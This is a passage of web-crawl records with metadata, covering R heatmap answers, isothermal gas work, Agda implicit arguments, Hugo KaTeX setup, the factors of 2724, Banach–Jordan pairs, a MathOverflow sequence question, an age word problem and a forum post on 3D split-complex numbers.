"Since I'm using `GGally::ggmatrix` I can't seem to control the proportions of each object. There is probably more to do in other regards (like dealing with the layout of the labels, adding color legend on the side - etc.)\n\n• `ggheatmap` is not in `heatmaply` any more, right? it was in version `0.8.3` but not in the current `0.11.1` Oct 5, 2017 at 13:25\n• Hi @deeenes this is correct. The ggheatmap function was removed as it was not polished enough. You can, however, save the heatmaply interactive output into a static file using the \"file\" argument. I also added an issue to maybe add ggheatmap back in the future... github.com/talgalili/heatmaply/issues/108 Oct 7, 2017 at 9:17\n\nOr try the `heatmap3` function:\n\n``````library(heatmap3)\nCars <- mtcars[c(1:7)]\nheatmap3(cor(Cars), scale = \"none\", sym = T)\n``````",
null,
"• heatmap3 is great - but it is not based on ggplot2 Aug 4, 2016 at 8:16\n• Yes you are absolutly right. Perhaps he doesn't want to reinvent the wheel. Otherwise your approach seem to be the a solution. Aug 4, 2016 at 8:31\n• Agreed. :) (I also would prefer to use one of the existing solutions) Aug 4, 2016 at 13:32"
] | [
null,
"https://i.stack.imgur.com/hJDVo.png",
null,
"https://i.stack.imgur.com/pfXo4.png",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8994409,"math_prob":0.71391916,"size":1842,"snap":"2022-27-2022-33","text_gpt3_token_len":458,"char_repetition_ratio":0.12513602,"word_repetition_ratio":0.006451613,"special_character_ratio":0.22421281,"punctuation_ratio":0.11357341,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9732288,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,4,null,4,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-06-29T05:24:34Z\",\"WARC-Record-ID\":\"<urn:uuid:f0610302-c939-483f-9cdf-7898ffca20cd>\",\"Content-Length\":\"252526\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:78927c0e-17ff-457f-b2a3-b54159611f4f>\",\"WARC-Concurrent-To\":\"<urn:uuid:234dcf13-5b24-42de-83b3-e01ddd9ccf04>\",\"WARC-IP-Address\":\"151.101.65.69\",\"WARC-Target-URI\":\"https://stackoverflow.com/questions/38727324/adding-a-dendrogram-to-a-ggplot2-heatmap\",\"WARC-Payload-Digest\":\"sha1:ZEKX5KQ64LLSYUO7MYDSFRZTWA4LY3XF\",\"WARC-Block-Digest\":\"sha1:T3XHIE6KY4UCKZ2ECSHPIXMMASYUYN5N\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-27/CC-MAIN-2022-27_segments_1656103620968.33_warc_CC-MAIN-20220629024217-20220629054217-00169.warc.gz\"}"} |
https://www.fxsolver.com/browse/formulas/Ideal+gas+-+isothermal+process+function+of+volume | [
"'\n\n# Ideal gas - isothermal process function of volume\n\n## Description\n\nAn isothermal process is a change of a system, in which the temperature remains constant: ΔT = 0. This typically occurs when a system is in contact with an outside thermal reservoir (heat bath), and the change in the system will occur slowly enough to allow the system to continue to adjust to the temperature of the reservoir through heat exchange. In contrast, an adiabatic process is where a system exchanges no heat with its surroundings (Q = 0). In other words, in an isothermal process, the value ΔT = 0 and therefore the change in internal energy ΔU = 0 (only for an ideal gas) but Q ≠ 0, while in an adiabatic process, ΔT ≠ 0 but Q = 0.\nFor an isothermal, reversible process, this integral equals the area under the relevant pressure-volume isotherm, and is indicated in purple in Figure 2 for an ideal gas. Again, p = nRT/V applies and with T being constant (as this is an isothermal process), the expression for work becomes as shown here.\n\nBy convention, work is defined as the work on the system by its surroundings. If, for example, the system is compressed, then the work is positive and the internal energy of the system increases. Conversely, if the system expands, it does work on the surroundings and the internal energy of the system decreases.\n\nRelated formulas\n\n## Variables\n\n W work (J) n number of moles (mole) R molar gas constant T Temperature (K) V2 volume at state 2 (m3) V1 volume at state 1 (m3)"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.91223425,"math_prob":0.9617779,"size":1515,"snap":"2022-40-2023-06","text_gpt3_token_len":370,"char_repetition_ratio":0.14228988,"word_repetition_ratio":0.022813689,"special_character_ratio":0.2290429,"punctuation_ratio":0.096885815,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9752157,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-01-26T22:12:45Z\",\"WARC-Record-ID\":\"<urn:uuid:197d5e8f-84be-4a27-9d02-89eb4134793a>\",\"Content-Length\":\"28142\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:4f939982-3f1a-4c28-ae73-24a8d027fa5f>\",\"WARC-Concurrent-To\":\"<urn:uuid:474161c4-90fe-4ee4-901c-530ff0509969>\",\"WARC-IP-Address\":\"178.254.54.75\",\"WARC-Target-URI\":\"https://www.fxsolver.com/browse/formulas/Ideal+gas+-+isothermal+process+function+of+volume\",\"WARC-Payload-Digest\":\"sha1:Y7GMBWEDWBOI54GERXPQGWX5EUTA7F25\",\"WARC-Block-Digest\":\"sha1:HSW7OIYBDFSOXWYDSWTILPY7VY3D4CXE\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-06/CC-MAIN-2023-06_segments_1674764494826.88_warc_CC-MAIN-20230126210844-20230127000844-00221.warc.gz\"}"} |
https://wiki.portal.chalmers.se/agda/Docs/ImplicitArguments | [
"# ImplicitArguments\n\nIt is possible to omit terms that the type checker can figure out for itself, replacing them by `_`. If the type checker cannot infer the value of an `_` it will report an error. For instance, for the polymorphic identity function\n\n``` `id : (A : Set) -> A -> A`\n```\n\nthe first argument can be inferred from the type of the second argument, so we might write `id _ zero` for the application of the identity function to `zero`.\n\nImplicit function spaces are written with curly braces instead of parenthesis. For instance,\n\n``` _==_ : {A : Set} -> A -> A -> Set\nsubst : {A : Set}(C : A -> Set){x y : A} -> x == y -> C x -> C y\n```\n\nNote how the first argument to `_==_` is left implicit. Similarly we may leave out the implicit arguments `A`, `x`, and `y` in an application of `subst`. To give an implicit argument explicitly, enclose in curly braces. The following two expressions are equivalent:\n\n``` subst C eq cx\nsubst {_} C {_} {_} eq cx\n```\n\nWorth noting is that implicit arguments will be inserted also at the end of an application, so the following is equivalent:\n\n``` subst C\nsubst C {_} {_}\n```\n\nTo get the function of type `{x y : A} -> x == y -> C x -> C y` we have to explicitly abstract over `x` and `y`:\n\n``` \\{x}{y} -> subst C\n```\n\nImplicit arguments can also be referred to by name, so if we want to give the expression `e` explicitly for `y` without giving a value for `x` we can write\n\n``` subst C {y = e} eq cx\n```\n\nWhen constructing implicit function spaces the implicit argument can be omitted, so both expressions below are valid expressions of type `{A : Set} -> A -> A`:\n\n``` \\{A} x -> x\n\\ x -> x\n```\n\nThere are no restrictions on when a function space can be implicit. Internally, explicit and implicit function spaces are treated in the same way. This means that there are no guarantees that implicit arguments will be solved. When there are unsolved implicit arguments the type checker will give an error message indicating which application contains the unsolved arguments. The reason for this liberal approach to implicit arguments is that limiting the use of implicit argument to the cases where we guarantee that they are solved rules out many useful cases in practice."
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.7306433,"math_prob":0.9559654,"size":2101,"snap":"2021-31-2021-39","text_gpt3_token_len":504,"char_repetition_ratio":0.15975203,"word_repetition_ratio":0.06388206,"special_character_ratio":0.25559258,"punctuation_ratio":0.08915663,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99184287,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-07-31T06:10:06Z\",\"WARC-Record-ID\":\"<urn:uuid:e7f6ebd1-bce0-45ff-96f7-6598203242c0>\",\"Content-Length\":\"11982\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:66af6f2c-da65-43bb-a0f3-75f11ca33c0c>\",\"WARC-Concurrent-To\":\"<urn:uuid:5d0e53be-cd7d-4f2d-8dfd-49f519f6fda8>\",\"WARC-IP-Address\":\"129.16.227.152\",\"WARC-Target-URI\":\"https://wiki.portal.chalmers.se/agda/Docs/ImplicitArguments\",\"WARC-Payload-Digest\":\"sha1:ZRU5GCFF5DZUTEEQSARU7ENFUNRFK4BK\",\"WARC-Block-Digest\":\"sha1:FKZONYKHTQKPR2A3FWMJHIJROGLECDAT\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-31/CC-MAIN-2021-31_segments_1627046154053.17_warc_CC-MAIN-20210731043043-20210731073043-00029.warc.gz\"}"} |
https://www.muhfajar.blog/post/2019/03/math-typesetting/ | [
"Mathematical notation in a Hugo project can be enabled by using third party JavaScript libraries.\n\nIn this example we will be using KaTeX\n\n• Create a partial under /layouts/partials/math.html\n• Within this partial reference the Auto-render Extension or host these scripts locally.\n• Include the partial in your templates like so:\n{{ if or .Params.math .Site.Params.math }}\n{{ partial \"math.html\" . }}\n{{ end }}\n\n• To enable KaTex globally set the parameter math to true in a project’s configuration\n• To enable KaTex on a per page basis include the parameter math: true in content files.\n\nNote: Use the online reference of Supported TeX Functions\n\n### Examples\n\nInline math: $$\\varphi = \\dfrac{1+\\sqrt5}{2}= 1.6180339887…$$\n\n\nBlock math:\n\n$$\\varphi = 1+\\frac{1} {1+\\frac{1} {1+\\frac{1} {1+\\cdots} } }$$"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.5152646,"math_prob":0.9279963,"size":872,"snap":"2023-14-2023-23","text_gpt3_token_len":227,"char_repetition_ratio":0.10599078,"word_repetition_ratio":0.0,"special_character_ratio":0.27752292,"punctuation_ratio":0.12101911,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99637216,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-06-03T05:25:24Z\",\"WARC-Record-ID\":\"<urn:uuid:bfbdac63-8080-46c7-bf80-a34f12b44983>\",\"Content-Length\":\"19232\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:906f0e96-1bbb-4ea2-bb43-d62884193baf>\",\"WARC-Concurrent-To\":\"<urn:uuid:7ae4cc12-ef6d-4c64-baf4-5e6098d79350>\",\"WARC-IP-Address\":\"104.21.5.37\",\"WARC-Target-URI\":\"https://www.muhfajar.blog/post/2019/03/math-typesetting/\",\"WARC-Payload-Digest\":\"sha1:3V3VWNKSQ6STHORFEFG2R7OETZIPUO2P\",\"WARC-Block-Digest\":\"sha1:DTXGCCBBRQP6DQSMIO7BBUM6XOGWNBTD\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-23/CC-MAIN-2023-23_segments_1685224649105.40_warc_CC-MAIN-20230603032950-20230603062950-00786.warc.gz\"}"} |
https://visualfractions.com/calculator/factors/factors-of-2724/ | [
"Factors of 2724\n\nSo you need to find the factors of 2724 do you? In this quick guide we'll describe what the factors of 2724 are, how you find them and list out the factor pairs of 2724 for you to prove the calculation works. Let's dive in!\n\nWant to quickly learn or show students how to find the factors of 2724? Play this very quick and fun video now!\n\nFactors of 2724 Definition\n\nWhen we talk about the factors of 2724, what we really mean is all of the positive and negative integers (whole numbers) that can be evenly divided into 2724. If you were to take 2724 and divide it by one of its factors, the answer would be another factor of 2724.\n\nLet's look at how to find all of the factors of 2724 and list them out.\n\nHow to Find the Factors of 2724\n\nWe just said that a factor is a number that can be divided equally into 2724. So the way you find and list all of the factors of 2724 is to go through every number up to and including 2724 and check which numbers result in an even quotient (which means no decimal place).\n\nDoing this by hand for large numbers can be time consuming, but it's relatively easy for a computer program to do it. Our calculator has worked this out for you. Here are all of the factors of 2724:\n\n• 2724 ÷ 1 = 2724\n• 2724 ÷ 2 = 1362\n• 2724 ÷ 3 = 908\n• 2724 ÷ 4 = 681\n• 2724 ÷ 6 = 454\n• 2724 ÷ 12 = 227\n• 2724 ÷ 227 = 12\n• 2724 ÷ 454 = 6\n• 2724 ÷ 681 = 4\n• 2724 ÷ 908 = 3\n• 2724 ÷ 1362 = 2\n• 2724 ÷ 2724 = 1\n\nAll of these factors can be used to divide 2724 by and get a whole number. The full list of positive factors for 2724 are:\n\n1, 2, 3, 4, 6, 12, 227, 454, 681, 908, 1362, and 2724\n\nNegative Factors of 2724\n\nTechnically, in math you can also have negative factors of 2724. If you are looking to calculate the factors of a number for homework or a test, most often the teacher or exam will be looking for specifically positive numbers.\n\nHowever, we can just flip the positive numbers into negatives and those negative numbers would also be factors of 2724:\n\n-1, -2, -3, -4, -6, -12, -227, -454, -681, -908, -1362, and -2724\n\nHow Many Factors of 2724 Are There?\n\nAs we can see from the calculations above there are a total of 12 positive factors for 2724 and 12 negative factors for 2724 for a total of 24 factors for the number 2724.\n\nThere are 12 positive factors of 2724 and 12 negative factors of 2724. Wht are there negative numbers that can be a factor of 2724?\n\nFactor Pairs of 2724\n\nA factor pair is a combination of two factors which can be multiplied together to equal 2724. For 2724, all of the possible factor pairs are listed below:\n\n• 1 x 2724 = 2724\n• 2 x 1362 = 2724\n• 3 x 908 = 2724\n• 4 x 681 = 2724\n• 6 x 454 = 2724\n• 12 x 227 = 2724\n\nWe have also written a guide that goes into a little more detail about the factor pairs for 2724 in case you are interested!\n\nJust like before, we can also list out all of the negative factor pairs for 2724:\n\n• -1 x -2724 = 2724\n• -2 x -1362 = 2724\n• -3 x -908 = 2724\n• -4 x -681 = 2724\n• -6 x -454 = 2724\n• -12 x -227 = 2724\n\nNotice in the negative factor pairs that because we are multiplying a minus with a minus, the result is a positive number.\n\nSo there you have it. A complete guide to the factors of 2724. You should now have the knowledge and skills to go out and calculate your own factors and factor pairs for any number you like.\n\nFeel free to try the calculator below to check another number or, if you're feeling fancy, grab a pencil and paper and try and do it by hand. Just make sure to pick small numbers!\n\nIf you found this content useful in your research, please do us a great favor and use the tool below to make sure you properly reference us wherever you use it. We really appreciate your support!\n\n• \"Factors of 2724\". VisualFractions.com. Accessed on January 24, 2022. http://visualfractions.com/calculator/factors/factors-of-2724/.\n\n• \"Factors of 2724\". VisualFractions.com, http://visualfractions.com/calculator/factors/factors-of-2724/. Accessed 24 January, 2022."
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https://encyclopediaofmath.org/wiki/Banach-Jordan_pair | [
"# Banach-Jordan pair\n\nA real or complex Jordan pair $V = ( V ^ { + } , V ^ { - } )$ (i.e. a pair $V = ( V ^ { + } , V ^ { - } )$ of real or complex vector spaces together with trilinear mappings $V ^ { \\pm } \\times V ^ { \\mp } \\times V ^ { \\pm } \\rightarrow V ^ { \\pm }$, $( x , y , z ) \\mapsto \\{ x y z \\}$, symmetric in the outer variables, which satisfy:\n\n\\begin{equation*} \\{ u x \\{ v y w \\} \\} - \\{ v y \\{ u x w \\} \\} = \\{ \\{ u x v \\} y w \\} - \\{ v \\{ x u y \\} w \\} \\end{equation*}\n\nfor all $u , v , w \\in V ^ { \\pm }$, $x , y \\in V ^ { \\mp }$; cf. also Vector space), where the spaces $V ^ { \\pm }$ are endowed with complete norms (cf. also Norm) making continuous the triple products $\\{ x y z \\}$, $x , z \\in V ^ { \\pm }$, $y \\in V ^ { \\mp }$. Banach–Jordan triple systems (cf. also Jordan triple system) can be viewed as Banach–Jordan pairs $V$ with $V ^ { + } = V ^ { - }$. For the general theory of Jordan pairs, see [a16]. In the notation of quadratic Jordan theory, $Q _ { x } y = \\{ x y x \\} / 2$. A classic example of a Banach–Jordan pair is that given by $( \\operatorname{BL} ( X , Y ) , \\operatorname{BL} ( Y , X ) )$, the space of continuous linear operators between two Banach spaces $X$, $Y$, with $\\{ a b c \\} = a b c + c b a$ (cf. also Banach space; Linear operator). Any Banach–Jordan algebra $J$ gives rise to a Banach–Jordan pair $( J , J )$, by taking the usual Jordan triple product. Moreover, Banach–Jordan pairs are interesting in themselves by their connection with bounded symmetric domains [a17]. Jordan–Banach triple systems with additional geometric requirements emerged in the work of W. Kaup. See [a13], [a26] or $\\operatorname{JB} ^ { * }$-triple for a general report on the theory of $\\operatorname{JB} ^ { * }$-triples (prime $\\operatorname{JB} ^ { * }$-triples have been classified in [a23]); see [a24] for the structure theory of Hilbert triples, Hermitian Hilbert triples and atomic $\\operatorname {JBW} ^ { * }$-triples, and see [a8], [a9] for so-called $H ^ { * }$-triple theory. A general account of both the geometric and the non-geometric theory of Jordan–Banach triple systems can be found in [a25].\n\nGiven a Banach–Jordan pair $V$ and an element $y \\in V ^ { - \\sigma }$, $\\sigma = \\pm$, one can define a Banach–Jordan algebra on $V ^ { \\sigma }$, called the $y$-homotope of $V ^ { \\sigma }$ and denoted by $V ^ { \\sigma } ( y )$, by taking $x.z = \\{ x y z \\} / 2$ as product, and the original norm $|.|$ of $V ^ { \\sigma }$. Of course, $V ^ { \\sigma } ( y )$ can be given an equivalent norm $\\| \\, . \\, \\| ^ { \\prime }$ so that $\\| x. z \\| ^ { \\prime } \\leq \\| x \\| ^ { \\prime } \\| z \\| ^ { \\prime }$. The set $\\operatorname { Ker } ( y ) = \\{ x \\in V ^ { \\sigma } : Q _ { y } x = 0 \\}$ is a closed ideal of $V ^ { \\sigma } ( y )$, and so the quotient $V ^ { \\sigma ( y ) } / \\operatorname { Ker } ( y )$ is a Banach–Jordan algebra, called the local algebra of $V$ at $y$ and usually denoted by $V _ { y } ^ { \\sigma }$. Important notions in the theory of Jordan pairs, such as the Jacobson radical, are defined in terms of homotopes (the adverb \"properly\" usually refers to properties that hold in all homotopes); on the other hand, local algebras have become a prominent tool in the study of Jordan pairs [a2]. Local algebras play a fundamental role in proving the automatic continuity of derivations on Banach–Jordan pairs [a12], thus extending the extension, by A.R. Villena [a27], of the Johnson–Sinclair theorem to Banach–Jordan algebras.\n\n## Finiteness conditions in Banach–Jordan pairs.\n\nA basic finiteness condition in Jordan pairs is having finite capacity, i.e. the ascending and descending chain conditions on principal inner ideals (cf. also Chain condition). For a non-degenerate Jordan pair $V$ ($Q _ { x } V ^ { \\mp } = 0$ implies $x = 0$, $x \\in V ^ { \\pm }$), the socle of $V$ can be characterized as the ideal $\\operatorname{ Soc } ( V )$ of all $y \\in V ^ { - \\sigma }$ such that $V _ { y } ^ { \\sigma }$ has finite capacity [a22] (cf. also Socle). Notice that for a Jordan pair of type $( \\operatorname{BL} ( X , Y ) , \\operatorname{BL} ( Y , X ) )$, its socle is the ideal $( \\operatorname{FBL} ( X , Y ) , \\operatorname{FBL} ( Y , X ) )$ of all continuous linear operators having finite rank (cf. also Linear operator). Moreover, it has finite capacity if and only if one of the two vector spaces is finite dimensional.\n\nIt is well known that under certain assumptions (von Neumann regularity, finite spectrum, algebraicity or coincidence with the socle) a semi-primitive associative Banach algebra is finite dimensional. This is no longer true for Jordan–Banach algebras, but, under any of the above requirements (in the appropriate Jordan versions), semi-primitive Jordan–Banach algebras have finite capacity [a4]. Using this result and the fact that semi-primitivity is inherited by local algebras, it can be shown (see [a19] and [a14]) that for a semi-primitive complex Banach–Jordan pair, the socle, the set of properly algebraic elements, the largest properly algebraic ideal, the largest properly spectrum-finite ideal, and the largest von Neumann regular ideal all coincide. Related results can be found in [a15], [a20] and [a21]. Since von Neumann regular Banach–Jordan pairs are idempotent-finite, it follows that any von Neumann regular Banach–Jordan pair has finite capacity ([a18] and [a10]). Loos' classification of simple Jordan pairs of finite capacity (any Jordan pair of finite capacity is a direct sum of finitely many simple ones) can be refined in the complex Banach setting: A simple complex Banach–Jordan pair having finite capacity is either finite dimensional, the Jordan pair defined by a continuous symmetric bilinear form on a complex Banach vector space, or a Jordan pair of continuous linear operators between two Banach pairings, one of them being finite dimensional ([a10] and [a11]). Using Zel'manov's structure theorem for strongly prime Jordan systems [a28] (see also [a1]), prime complex Banach–Jordan $*$-triples with non-zero socle and without nilpotent elements were classified in [a6], getting as a consequence, among other results, the Bunce–Chu structure theorem [a7] for compact $\\operatorname{JB} ^ { * }$-triples.\n\nAn associative algebra is Noetherian if it satisfies the ascending chain condition on left ideals (cf. also Associative rings and algebras; Noetherian ring). A.M. Sinclair and A.W. Tullo showed [a29] that a complex Noetherian Banach associative algebra is finite dimensional. For a Jordan algebra or pair, the suitable Noetherian condition is the ascending chain condition on inner ideals. M. Benslimane and N. Boudi [a3] proved that a complex Noetherian Banach–Jordan algebra is finite dimensional. This result has been extended, [a5], to Banach–Jordan pairs. Actually, the following has been proved:\n\ni) the Jacobson radical of a Noetherian Banach–Jordan pair is finite dimensional;\n\nii) non-degenerate Noetherian Banach–Jordan pairs have finite capacity; and\n\niii) complex Noetherian Banach–Jordan pairs are finite dimensional.\n\nHow to Cite This Entry:\nBanach-Jordan pair. Encyclopedia of Mathematics. URL: http://encyclopediaofmath.org/index.php?title=Banach-Jordan_pair&oldid=50372\nThis article was adapted from an original article by Antonio Fernández López (originator), which appeared in Encyclopedia of Mathematics - ISBN 1402006098. See original article"
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https://mathoverflow.net/questions/151037/representability-of-sets-of-infinite-sequences-sharing-common-prefixes-and-facto | [
"# Representability of sets of infinite sequences sharing common prefixes and factors (i.e. infixes)\n\nHere we are concerned with the space $X^{\\omega}$ of infinite sequences. Denote by $F_n(\\xi)$ the set of factors (consecutive finite subsequences) of length $n$ and consider the set $$K_n(\\xi) = \\xi[1\\ldots n] \\cdot X^{\\omega} \\cap \\{ \\eta \\in X^{\\omega} : F_n(\\eta) = F_n(\\xi) \\}$$ of all words which share with $\\xi$ the first $n$ symbols and all factors of length $n$. Then I want to show that there does not exists a finite number of sets $X_1, X_2, \\ldots, X_m$ which represent these sets in the sense that for every $\\xi$ and $n$ every set $K_n(\\xi)$ could be written in the form $w \\cdot X_i$ for some $i$ and some $w\\in X^*$, i.e. for each $K_n(\\xi)$ there is some $i$ and a finite sequence $w$ with $$K_n(\\xi) = w \\cdot X_i.$$ I tried to prove that a finite number is not enough, but run out of ideas. Any ideas or suggestions? (A note which might be helpful, the $K_n(\\xi)$ are $\\omega$-regular sets, meaning there exists a finite automaton accepting them, and so contain an ultimately periodic infinite sequence, and two such sets are equal if they coincide in all there ultimately periodic sequences)\n\n• Hi Stefan, I hope I have understood the question. Assuming $X$ is finite (or taking a finite subset of it), if $\\xi$ contains every word of length $n$, then every $\\eta \\in \\xi[1\\dots n] \\cdot (\\hbox{a concatenation of all the length-$n$words}) \\cdot X^\\omega$ is in $K_n(\\xi)$, and this set is uncountable. Dec 6, 2013 at 20:00\n• (I am assuming you want $K_n(\\xi) = \\cup_{i<n,w\\in X^{<\\omega}} w \\cdot X_i$ where each $X_i \\in X^\\omega$; a set of this form must be countable.) Dec 6, 2013 at 20:06\n• Hi Linda, thx for your answer. But that's not what I had in mind, the $X_i$ are not elements from $X^{\\omega}$, but subsets, so $X_i \\mathbf{\\subseteq} X^{\\omega}$ (and so could themselve be uncountable). In your first comment the form $\\xi[1\\ldots n] \\cdot(\\mbox{a concat...words}) \\cdot X^{\\omega}$ would be a perfectly valid representation of $K_n(\\xi)$ in the sense that I meant with $X_i = X^{\\omega}$ and now I am asking if we could choose a finite number of $X_i's \\subseteq X^{\\omega}$ such that every $K_n(\\xi)$ has such an representation. Dec 6, 2013 at 22:05\n• (1) Is the $n$ in $X_1,X_2,\\dots,X_n$ really the same as the $n$ in $K_n(\\xi)$, or is it a typo? (2) What is the order of quantifiers in the question? Are you asking whether $\\exists X_1,\\dots\\forall\\xi\\forall n\\dots$ or $\\forall\\xi\\exists X_1,\\dots\\forall n\\dots$ or $\\forall n\\exists X_1,\\dots\\forall\\xi\\dots$? (The fourth reading $\\forall n\\forall\\xi\\exists X_1,\\dots$ is trivially true as one can take $X_1=K_n(\\xi)$. J.-E. Pin answers below the third reading.) Dec 7, 2013 at 12:43\n• @Stefan in that case it would seem that if we write $K_n(\\xi_n)$ in your desired form, then $K_n(\\xi_n) = w\\cdot X_i$ where $X_i$ must be a set containing exactly one element which has least period $n$. Does that answer your question? Dec 10, 2013 at 2:59\n\nIf I get your question right, you are given an infinite word $\\xi$ of $X^\\omega$ and a fixed integer $n$. Let $p$ be the prefix of length $n$ of $\\xi$ and let $F$ be the set of all infixes of length $n$ of $\\xi$. Let $$K = \\{ \\eta \\in X^\\omega \\mid F_n(\\eta) = F\\}$$ Then $K$ is $\\omega$-regular and $$K_n(\\xi) = pX^\\omega \\cap K = p(p^{-1}K)$$ where $p^{-1}K$ is the $\\omega$-regular set $\\{\\eta \\mid p\\eta \\in K \\}$. Now, for a fixed $n$ and a finite alphabet $X$, there are only finitely many possible values for $p$ and for $F$ (and hence for $K$ and $p^{-1}K$).\n• thanks for your answer! but I meant that there exists sets $X_1, \\ldots, X_m$ such that for each $\\xi$ and each $n$ there exists $i$ and $w$ such that $K_n(\\xi) = w \\cdot X_i$, see the comment of Eil Jerabek and my answer. Dec 7, 2013 at 14:24\n• There are finitely many possible $F$, independently of $\\xi$, since they are all subsets of $X^n$. Dec 7, 2013 at 14:52\n• Independently of $\\xi$, but dependently on $n$. Dec 7, 2013 at 15:29\n• yes, fixed $X_1, \\ldots, X_m$ (independent of $\\xi$ and $n$) such that for all $\\xi$ and all $n$: Dec 7, 2013 at 16:21"
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https://web2.0calc.com/questions/please-help_17913 | [
"+0\n\n0\n41\n1\n\nJon is 14 years older than Philip.Two years from now,Jon will be 3 times as old as Philip.How old is each now?\n\nMar 2, 2020\n\n#1\n+3\n\nJ = 14 + P\n\nJ+2 = 3 (P+2) Sub in J = 14 + P\n\n14 + P + 2 = 3P + 6\n\n16+P = 3P + 6\n\n10 = 2P\n\nP = 5 then J = 14+P = 19\n\nMar 2, 2020\n\n#1\n+3\n\nJ = 14 + P\n\nJ+2 = 3 (P+2) Sub in J = 14 + P\n\n14 + P + 2 = 3P + 6\n\n16+P = 3P + 6\n\n10 = 2P\n\nP = 5 then J = 14+P = 19\n\nElectricPavlov Mar 2, 2020"
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.87649,"math_prob":0.9999682,"size":330,"snap":"2020-10-2020-16","text_gpt3_token_len":175,"char_repetition_ratio":0.18404908,"word_repetition_ratio":0.74509805,"special_character_ratio":0.6121212,"punctuation_ratio":0.043956045,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.999928,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-04-04T00:49:23Z\",\"WARC-Record-ID\":\"<urn:uuid:71bea55d-31c5-4f8e-994c-6abed346a3d8>\",\"Content-Length\":\"25276\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:2deb9f89-5dc7-454b-8353-b0a13f196ffd>\",\"WARC-Concurrent-To\":\"<urn:uuid:ab320ba7-5c8c-4be3-a488-b75c60cae1f2>\",\"WARC-IP-Address\":\"209.126.117.101\",\"WARC-Target-URI\":\"https://web2.0calc.com/questions/please-help_17913\",\"WARC-Payload-Digest\":\"sha1:APW3IXJ2DS64MKQQSZX3MFUE6RBRXXO4\",\"WARC-Block-Digest\":\"sha1:VC4NAPXH3ZLWCBDGB2Y6W4JQUEBGOWOO\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-16/CC-MAIN-2020-16_segments_1585370518767.60_warc_CC-MAIN-20200403220847-20200404010847-00289.warc.gz\"}"} |
https://www.physicsforums.com/threads/3-dimensional-split-complex-numbers.1014815/ | [
"# 3-dimensional split-complex numbers\n\n• I\n• Anixx\n\n#### Anixx\n\nTL;DR Summary\nWhat are the properties of the 3D split-complex numbers? Were they ever considered?\nFor some reason the 3-dimensional hypercomplex numbers were not touched in the most of overviews of hypercomplex numbers.\nBut I think this is not deseved.\n\nIntuition. Basically, if you add two complex dimensions to reals, say ##i## and ##j##, you automatically get a fourth dimension ##ij## because this number cannot be expressed using only the three dimensions. The system you get then is called bicomplex numbers and 4-dimensional.\n\nOn the other hand, if you add two split-complex dimensions to reals, say ##j## and ##k##, you do not get a fourth dimension automatically because we can define ##jk=j+k-1##, which can be expressed in the already existing 3 dimensions. Thus, you get a 3D algebra.\n\nIt seems that each of the two added split-complex dimensions are isomorphic to the classic split-complex axis.\n\nConstruction and properties\n\nTake ##\\mathbb{R}^3## with Hadamard product. In other words, triplets of numbers with element-wise multiplication.\n\nNow assign ##(1,1,1)=1,(-1,1,1)=j, (1,1,-1)=k##.\n\nA number would be written in the form ##a+bj+ck##. Algebraically it will be a commutative ring with zero divisors (hence, not a field, but that's OK). For instance ##(j-1)(k-1)=0##.\n\nHere is a Mathematica code to experiment with:\n\nCode:\n Unprotect[Power]; Power[0, 0] = 1; Protect[Power];\n\\$Pre = (# /. {j -> {-1, 1, 1}, k -> {1, 1, -1}}) /. {x_, y_, z_} ->\nx/2 + z/2 + (j (y - x))/2 + (k (y - z))/2 &;\n\nUsing this code one can see that\n\n##j^2=k^2=1##\n\n##jk=j+k-1##\n\n##\\log (j+k+1)=\\frac{1}{2} j \\log (3)+\\frac{1}{2} k \\log (3)##\n\n##j^j=j^k=j##\n\n##k^k=k^j=k##\n\n##\\sqrt{j+k}=\\frac{j}{\\sqrt{2}}+\\frac{k}{\\sqrt{2}}##\n\n##0^{j+k}=1-\\frac{j}{2}-\\frac{k}{2}##\n\nThe division formula would be:\n\n##\\frac{a_1+b_1 j+c_1 k}{a_2+b_2 j+c_2 k}=\\frac{j}{2} \\left(\\frac{a_1+b_1+c_1}{a_2+b_2+c_2}-\\frac{a_1-b_1+c_1}{a_2-b_2+c_2}\\right)+\\frac{k}{2} \\left(\\frac{a_1+b_1+c_1}{a_2+b_2+c_2}-\\frac{a_1+b_1-c_1}{a_2+b_2-c_2}\\right)+\\frac{a_1+b_1-c_1}{2 